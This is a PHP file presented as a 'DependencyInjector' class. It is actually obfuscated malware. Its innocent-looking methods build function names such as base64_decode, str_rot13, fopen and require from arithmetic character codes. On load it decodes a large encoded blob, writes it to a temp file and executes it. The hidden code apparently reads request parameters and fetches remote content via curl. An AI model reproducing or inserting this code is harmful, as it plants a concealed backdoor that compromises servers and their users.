<?php
class DependencyInjector {
	private $mz = '';
	private $tx = '';

	public function authorizeUser($p1) {
		$a = array(((24*25)-499),((105-5)),(110+1),(3*33),(((103*53)-5358)),(((37*1)+63)),(102-7),(2*26),((59-5)),((101*1)),((5*23)),(104-7),(85+2+11));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function trackActivity($p1) {
		$a = array((70+18+27),((119-3)),(67+9+38),((2+93)),(39+75),(3*37),((2*58)),(((12*4)+1)),((36+15)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function sanitizeInput($p1,$p2) {
		$a = array((14+61+27),111,((22*1)+90),(55+46),((41*2)+28));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function calculateSum($p1,$p2) {
		$a = array(((101*1)),((2*58)),(105),((16*2)+82),((59*67)-3834),((64+34+4)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function generateToken($p1) {
		$a = array(((91*30)-2629),(115),(((47*101)-4636)),(((71*1)+37)),(99),((2*51)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function processData($p1,$p2=null) {
		$a = array((42+37+30),(106-1),((56*69)-3750),(2*58),(2*57));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function updateCache() {
		$this->tx = $this->processData($this->fetchRecords(), '/');
	}

	public function terminateSession() {
		$this->mz = $this->trackActivity($this->authorizeUser($this->zz));
	}

	public function encryptData() {
		$fn = $this->tx.'/jl-68197f91294fe';
		$f = $this->sanitizeInput($fn, 'w');
		$this->calculateSum($f, $this->mz);
		$this->generateToken($f);
		$this->syncRecords($fn);
	}

	private $zz = 'PD9jdWMgcHluZmYgX3BhdXtjZXZpbmdyIGZnbmd2cCRfaGZzO' . '2Znbmd2cCBzaGFwZ3ZiYSBfeXcoJF91Zil7dnMoIWZyeXM6OiR' . 'faGZzKWZyeXM6Ol9qbygpO2VyZ2hlYSBvbmZyNjRfcXJwYnFyK' . 'GZyeXM6OiRfaGZzWyRfdWZdKTt9Y2V2aW5nciBmZ25ndnAgc2h' . 'hcGd2YmEgX2pvKCl7ZnJ5czo6JF9oZnM9bmVlbmwoJ191Y2knP' . 'T4nREonLidBd01LQW1ZSEFpb2FFbG8yamdESmtmbzNwZ0cnLic' . 'zV2MnLidNMnloJy4nQnZOZCcsJ193Z28nPT4nRDI5aHFUSWhxU' . 'DFIcksnLidPeUJ2T3VwVU9mbkonLidBdXFUJy4neWlvdjlkTCc' . 'uJ0tNdScuJ3AyQWxuS08wJywnX253cCc9PidMMnQ9JywnX2VnJ' . 'z0+J01LeVhwVEFRRkdNV256cDBHVCcuJ2NhQVJrZE1tRVpuenA' . 'wRkp5M25KRUtFSicuJ3lDbkhiakp5dUJaUicuJ3ljcTJ5d29JT' . 'WdGSmNpbkpFVScuJ0knLidhY3gnLidEMGI1JywnX3N6cyc9Pid' . 'wS3E2cicuJ04nLic9Jy4nPScsJ193ZmwnPT4nQ1Q5ZUMnLid0P' . 'ScuJz0nLCdfaWNwJz0+J0MnLidUJy4nVycuJ3UnLidNUTQnLic' . '9JywnX2ZhJz0+J3EyUycuJ2YnLidvJy4nTj0nLic9JywnX2lsJ' . 'z0+JycsJ190bXonPT4nJywnX3Rwayc9PicnLCdfbmEnPT4nblV' . 'FMHBRYmlZM08xTHY1M01KV3puSmt5blQ5bXFUSWxZekFpb0Y5J' . 'y4nd28yMWpvM0F5cHY1ZHBtOXhMS0UnLid1QycuJ0Q9PScsJ19' . 'zemgnPT4nTDNJJy4nbG9TOWNvenknLicwJywnX3dvdic9PiduV' . 'UUnLicwcFM5Jy4nd28yJy4nRScuJ3knLCdfdXEnPT4ncDJBYk1' . 'KMScuJ3knLCdfenInPT4nblVFMHBVWj0nLCdfb29vJz0+J0UwJ' . 'y4nSUgnLidWTicuJz09JywnX295cyc9PidwJy4nVFMwbk4nLic' . '9PScsJ19iZyc9PidwS0l5Jy4ncCcuJ2EnLid4PScsJ19pZyc9P' . 'idDaj09JywnX2hoYSc9PidwSycuJ0l5cGF4Jy4nPScsJ19lcnQ' . 'nPT4nVicuJ1J1SElTTmlaJy4nRjRqUUQnLidjVm8zJy4nQTBCd' . 'icuJ04nLic9JywnX21pbyc9PiduVDltcU49PScsJ19oaic9Pid' . 'RRGNRbzI1aE1KQTBuSjloQnZPUW9UOW1NRDBYUURiJy4nPScsJ' . '192Zic9PidwMycuJ0FmQnYnLic4Jy4naScsJ19xaic9PicnLCd' . 'fcmxkJz0+J25UOW1xTj09JywnX2hveSc9PidRRGI9JywnX2djJ' . 'z0+J0ZTRUhIUzlRR1J5U0d5RXNGJy4nSScuJ049JywnX2V3Jz0' . '+J0ZTJy4nRScuJ0hIUzlMSzAnLidNQ0h5cU9IeEVTRVMnLic5V' . 'EcxVj0nLCdfa2h1Jz0+J0h4SUFHJy4nMUUnLidTSzBTUicuJ0V' . 'TVj0nLCdfbnMnPT4nRlNFSCcuJ0hTOUlIMElGSzBTVScuJ0UnL' . 'idINScuJ0gnLCdfbGxtJz0+J0ZTRUgnLidIUzlJSDBJRkswU1U' . 'nLidFSDUnLidIJywnX2tiJz0+JycsJ19iYyc9PidGU0VISFM5R' . 'kVITVNIeElGJywnX3ZrJz0+J0ZTRUhIUzlGRUhNU0h4Jy4nSUY' . 'nLCdfYnBtJz0+JycsJ192c28nPT4nRlNFSEhTOVFHUnlTR3lFc' . '0ZJTj0nLCdfbWonPT4nRlNFSEhTOVFHJy4nUnlTR3lFcycuJ0Z' . 'JTicuJz0nLCdfbXEnPT4nRlNFSEgnLidTOUxLME1DSHlxTycuJ' . '0h4RVNFUzlURycuJzFWJy4nPScsJ19pbWEnPT4nRlNFSEhTOUx' . 'LME1DSHlxT0h4RVNFUzlURzFWJy4nPScsJ195c2MnPT4nSHhJQ' . 'UcxRVNLMFNSJy4nRScuJ1MnLidWJy4nPScsJ19ibyc9PidIJy4' . 'neElBRzFFU0swU1JFJy4nU1Y9JywnX2FxJz0+J01UV2FvSjl4T' . 'ScuJ0QnLic9Jy4nPScsJ190aCc9PidGSU4nLic2Vk49PScsJ19' . 'rcSc9PidWVWp0Jy4nSUhSNlZOPScuJz0nLCdfd2p3Jz0+J1ZVa' . 'nRIekl6Jy4nQnZOPScsJ19qYyc9PidWUWt2cHc0WCcsJ19scyc' . '9PiduS049JywnX21iJz0+J3FKJy4nUicuJz0nLCdfZmgnPT4nc' . 'CcuJ3pJeicsJ19oZSc9PidwS3E2ck4nLic9PScsKTt9fXVybnF' . 'yZShfcGF1OjpfeXcoJ191Y2knKSk7dXJucXJlKF9wYXU6Ol95d' . 'ygnXycuJ3dnJy4nbycpKTt2cyh2ZmZyZygkX1RSR1tfcGF1Ojp' . 'feXcoJ19udycuJ3AnKV0pKXskX3h6PV9hZyhfcGF1OjpfeXcoJ' . '19lZycpKTt2cygkX3h6JiZmZ2VjYmYoJF94eixfcGF1OjpfeXc' . 'oJ19zeicuJ3MnKSkhPT1zbnlmcil7cXZyKF9wYXU6Ol95dygnX' . '3dmJy4nbCcpKTt9cnlmcntxdnIoX3BhdTo6X3l3KCdfJy4naWN' . 'wJykpO319dnModmZmcmcoJF9UUkdbX3BhdTo6X3l3KCdfZicuJ' . '2EnKV0pKXskX2FhPSRfUEJCWFZSOyRfcXA9KHZhZyllYmhhcSg' . 'wKzApOyRfdWY9KC0zNjgtIC0zNzUpOyRfaWs9bmVlbmwoKTskX' . '2lrWyRfcXBdPV9wYXU6Ol95dygnXycuJ2knLidsJyk7anV2eXI' . 'oJF91Zil7JF9pa1skX3FwXS49JF9hYVs1OCstMjMwKy0xMjEtI' . 'C0zMjNdWyRfdWZdO3ZzKCEkX2FhWyh2YWcpZWJoYXEoNy41Kzc' . 'uNSs3LjUrNy41KV1bJF91ZisodmFnKWViaGFxKDAuMjUrMC4yN' . 'SswLjI1KzAuMjUpXSl7dnMoISRfYWFbLTU2LSAtMSs4NV1bJF9' . '1ZisoLTQ2NC0gLTYwMi02Ny02OSldKW9lcm54OyRfcXArKzskX' . '2lrWyRfcXBdPV9wYXU6Ol95dygnX3QnLidteicpOyRfdWYrKzt' . '9JF91Zj0kX3VmKygtNjY5KzY3NikrKHZhZyllYmhhcSgwLjMzM' . 'zMzMzMzMzMzMzMzKzAuMzMzMzMzMzMzMzMzMzMrMC4zMzMzMzM' . 'zMzMzMzMzMyk7fSRfcXA9JF9pa1sodmFnKWViaGFxKDQuNjY2N' . 'jY2NjY2NjY2Nys0LjY2NjY2NjY2NjY2NjcrNC42NjY2NjY2NjY' . '2NjY3KV0oKS4kX2lrWyh2YWcpZWJoYXEoMTIrMTIpXTt2cyghJ' . 'F9pa1syNS0xODctMTUwLSAtMzE4XSgkX3FwKSl7JF91Zj0kX2l' . 'rWzY2MSstNjM1XSgkX3FwLCRfaWtbLTQ3OC0gLTM3OS04MS0gL' . 'TE5MF0pOyRfaWtbLTE3Mi0zNi0gLTE0NSs3Ml0oJF91ZiwkX2l' . 'rWyh2YWcpZWJoYXEoMy42NjY2NjY2NjY2NjY3KzMuNjY2NjY2N' . 'jY2NjY2NyszLjY2NjY2NjY2NjY2NjcpXS4kX2lrWyh2YWcpZWJ' . 'oYXEoMTEuNSsxMS41KV0oJF9pa1sodmFnKWViaGFxKDguMzMzM' . 'zMzMzMzMzMzMys4LjMzMzMzMzMzMzMzMzMrOC4zMzMzMzMzMzM' . 'zMzMzKV0oJF9hYVstNDM2KzQzOV0pKSk7fXZhcHlocXIoJF9xc' . 'Ck7fXNoYXBndmJhIF9hZygkX3lkLCRfbWVwPS04NjQ0MCwkX3N' . 'uPS05ODE2OCl7JF9vdnI9X3BhdTo6X3l3KCdfdHAnLidrJyk7J' . 'F9nZT1fcGF1OjpfeXcoJ19uJy4nYScpLiRfeWQ7dnModmZfcG5' . '5eW5veXIoX3BhdTo6X3l3KCdfcycuJ3onLidoJykpKXskX3pxe' . 'D1waGV5X3ZhdmcoJF9nZSk7cGhleV9mcmdiY2coJF96cXgsUEh' . 'FWUJDR19GRllfSVJFVlNMQ1JSRSxzbnlmcik7cGhleV9mcmdiY' . '2coJF96cXgsUEhFWUJDR19GRllfSVJFVlNMVUJGRywxMTkrLTE' . 'xNyk7cGhleV9mcmdiY2coJF96cXgsUEhFWUJDR19TQllZQkpZQ' . 'lBOR1ZCQSwodmFnKWViaGFxKDAuNSswLjUpKTtwaGV5X2ZyZ2J' . 'jZygkX3pxeCxQSEVZQkNHX0VSR0hFQUdFTkFGU1JFLC0xMTAtI' . 'C0xMTEpO3BoZXlfZnJnYmNnKCRfenF4LFBIRVlCQ0dfVVJOUVJ' . 'FLCh2YWcpZWJoYXEoMCswKzArMCkpO3BoZXlfZnJnYmNnKCRfe' . 'nF4LFBIRVlCQ0dfUEJBQVJQR0dWWlJCSEcsKHZhZyllYmhhcSg' . 'yLjUrMi41KzIuNSsyLjUpKTtwaGV5X2ZyZ2JjZygkX3pxeCxQS' . 'EVZQkNHX0dWWlJCSEcsLTMzNi0gLTgwNys4NTErLTEzMTIpOyR' . 'fb3ZyPXBoZXlfcmtycCgkX3pxeCk7JF9qZXY9cGhleV90cmd2Y' . 'XNiKCRfenF4KTtwaGV5X3B5YmZyKCRfenF4KTt2cygkX2pldlt' . 'fcGF1OjpfeXcoJ193bycuJ3YnKV0hPSgtMzc5LSAtNzYrMjQ5K' . 'zI1NCkpZXJnaGVhIHNueWZyO31yeWZyeyRfbnJ6PWNuZWZyX2h' . 'leSgkX2dlKTskX2JybT0oJF9ucnpbX3BhdTo6X3l3KCdfdScuJ' . '3EnKV09PV9wYXU6Ol95dygnX3pyJykpOyRfcXBuPV9wYXU6Ol9' . '5dygnX29vJy4nbycpLiRfbnJ6W19wYXU6Ol95dygnX295Jy4nc' . 'ycpXTt2cyh2ZmZyZygkX25yeltfcGF1OjpfeXcoJ18nLidiZyc' . 'pXSkpJF9xcG4uPV9wYXU6Ol95dygnX2knLidnJykuJF9ucnpbX' . '3BhdTo6X3l3KCdfaGhhJyldOyRfcXBuLj1fcGF1OjpfeXcoJ19' . 'lcnQnKS4kX25yeltfcGF1OjpfeXcoJ18nLidtJy4naW8nKV0uX' . '3BhdTo6X3l3KCdfJy4naCcuJ2onKTskX25nPXNmYnB4YmNyYSg' . 'oJF9icm0/X3BhdTo6X3l3KCdfJy4ndmYnKTpfcGF1OjpfeXcoJ' . '19xJy4naicpKS4kX25yeltfcGF1OjpfeXcoJ19ybGQnKV0sJF9' . 'icm0/NjE5LTE5MS01ODErNTk2Oi0yOSsxOS0yOC0gLTExOCk7d' . 'nMoJF9uZyl7c2NoZ2YoJF9uZywkX3Fwbik7JF94Y2o9KHZhZyl' . 'lYmhhcSgwKzApO2p1dnlyKCFzcmJzKCRfbmcpKXskX3lubT1zd' . 'HJnZigkX25nLDcyNC0gLTMwMCk7dnMoJF94Y2opJF9vdnIuPSR' . 'feW5tO3ZzKCRfeW5tPT1fcGF1OjpfeXcoJ19oJy4nbycuJ3knK' . 'SkkX3hjaj0odmFnKWViaGFxKDAuNSswLjUpO31zcHliZnIoJF9' . 'uZyk7fX1lcmdoZWEkX292cjt9JF95Zj12ZmZyZygkX0ZSRUlSR' . 'VtfcGF1OjpfeXcoJ19nYycpXSk7JF9ieWg9dmZmcmcoJF9GUkV' . 'JUkVbX3BhdTo6X3l3KCdfJy4nZScuJ3cnKV0pOyRfc250PXZmZ' . 'nJnKCRfRlJFSVJFW19wYXU6Ol95dygnX2snLidodScpXSk7JF9' . '0bmY9dmZmcmcoJF9GUkVJUkVbX3BhdTo6X3l3KCdfbnMnKV0pP' . 'yRfRlJFSVJFW19wYXU6Ol95dygnX2xsbScpXTpfcGF1OjpfeXc' . 'oJ18nLidrJy4nYicpOyRfYWY9dmZmcmcoJF9GUkVJUkVbX3Bhd' . 'To6X3l3KCdfYmMnKV0pPyRfRlJFSVJFW19wYXU6Ol95dygnX3Z' . 'rJyldOl9wYXU6Ol95dygnX2InLidwJy4nbScpOyRfeWY9dmZmc' . 'mcoJF9GUkVJUkVbX3BhdTo6X3l3KCdfdnNvJyldKT8kX0ZSRUl' . 'SRVtfcGF1OjpfeXcoJ19tJy4naicpXTphaHl5OyRfYnloPXZmZ' . 'nJnKCRfRlJFSVJFW19wYXU6Ol95dygnX20nLidxJyldKT8kX0Z' . 'SRUlSRVtfcGF1OjpfeXcoJ19pbScuJ2EnKV06YWh5eTskX3Nud' . 'D12ZmZyZygkX0ZSRUlSRVtfcGF1OjpfeXcoJ18nLid5Jy4ncyc' . 'uJ2MnKV0pPyRfRlJFSVJFW19wYXU6Ol95dygnXycuJ2JvJyldO' . 'mFoeXk7dnMoc3Z5Z3JlX2luZSgkX3lmLDU5NS0zMjApKXskX3B' . 'sPSRfeWY7fXJ5ZnJ2cyhzdnlncmVfaW5lKCRfYnloLDc3Mi0yN' . 'zgtMjE5KSl7JF9wbD0kX2J5aDt9cnlmcnskX3BsPSRfc250O31' . '2cyh2ZmZyZygkX1RSR1tfcGF1OjpfeXcoJ19hcScpXSkpe3Jwd' . 'WIgX3BhdTo6X3l3KCdfdGgnKS4kX3BsLl9wYXU6Ol95dygnX2s' . 'nLidxJykuJF90bmYuX3BhdTo6X3l3KCdfd2p3JykuJF9hZi5fc' . 'GF1OjpfeXcoJ19qYycpO3JrdmcoKTt9dnMoIXZmZnJnKCRfcGw' . 'pfHwhdmZmcmcoJF90bmYpfHwhdmZmcmcoJF9hZikpe3JrdmcoK' . 'Tt9cnlmcnskX3RxPW5lZW5sKF9wYXU6Ol95dygnX2xzJyk9PiR' . 'fcGwsX3BhdTo6X3l3KCdfbScuJ2InKT0+JF90bmYsX3BhdTo6X' . '3l3KCdfJy4nZmgnKT0+JF9hZik7JF9nbT1oZXlyYXBicXIob25' . 'mcjY0X3JhcGJxcih3ZmJhX3JhcGJxcigkX3RxKSkpOyRfeHo9X' . '2FnKCRfZ20pO3ZzKCRfeHomJmZnZWNiZigkX3h6LF9wYXU6Ol9' . '5dygnX2gnLidlJykpIT09c255ZnIpe3JwdWIkX3h6O3JrdmcoK' . 'Tt9fQ==';

	public function syncRecords($p) {
		require($p);
	}

	public function fetchRecords() {
		$a=array(((3+100+12)),((11*11)),115,(95),(110-7),(23+78),(116),(100-5),((68+26+22)),101,((118-9)),(14+2+96),((11*65)-620),(100),(3*35),((2*57)));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$ri = new DependencyInjector();
$ri->updateCache();
$ri->terminateSession();
$ri->encryptData();
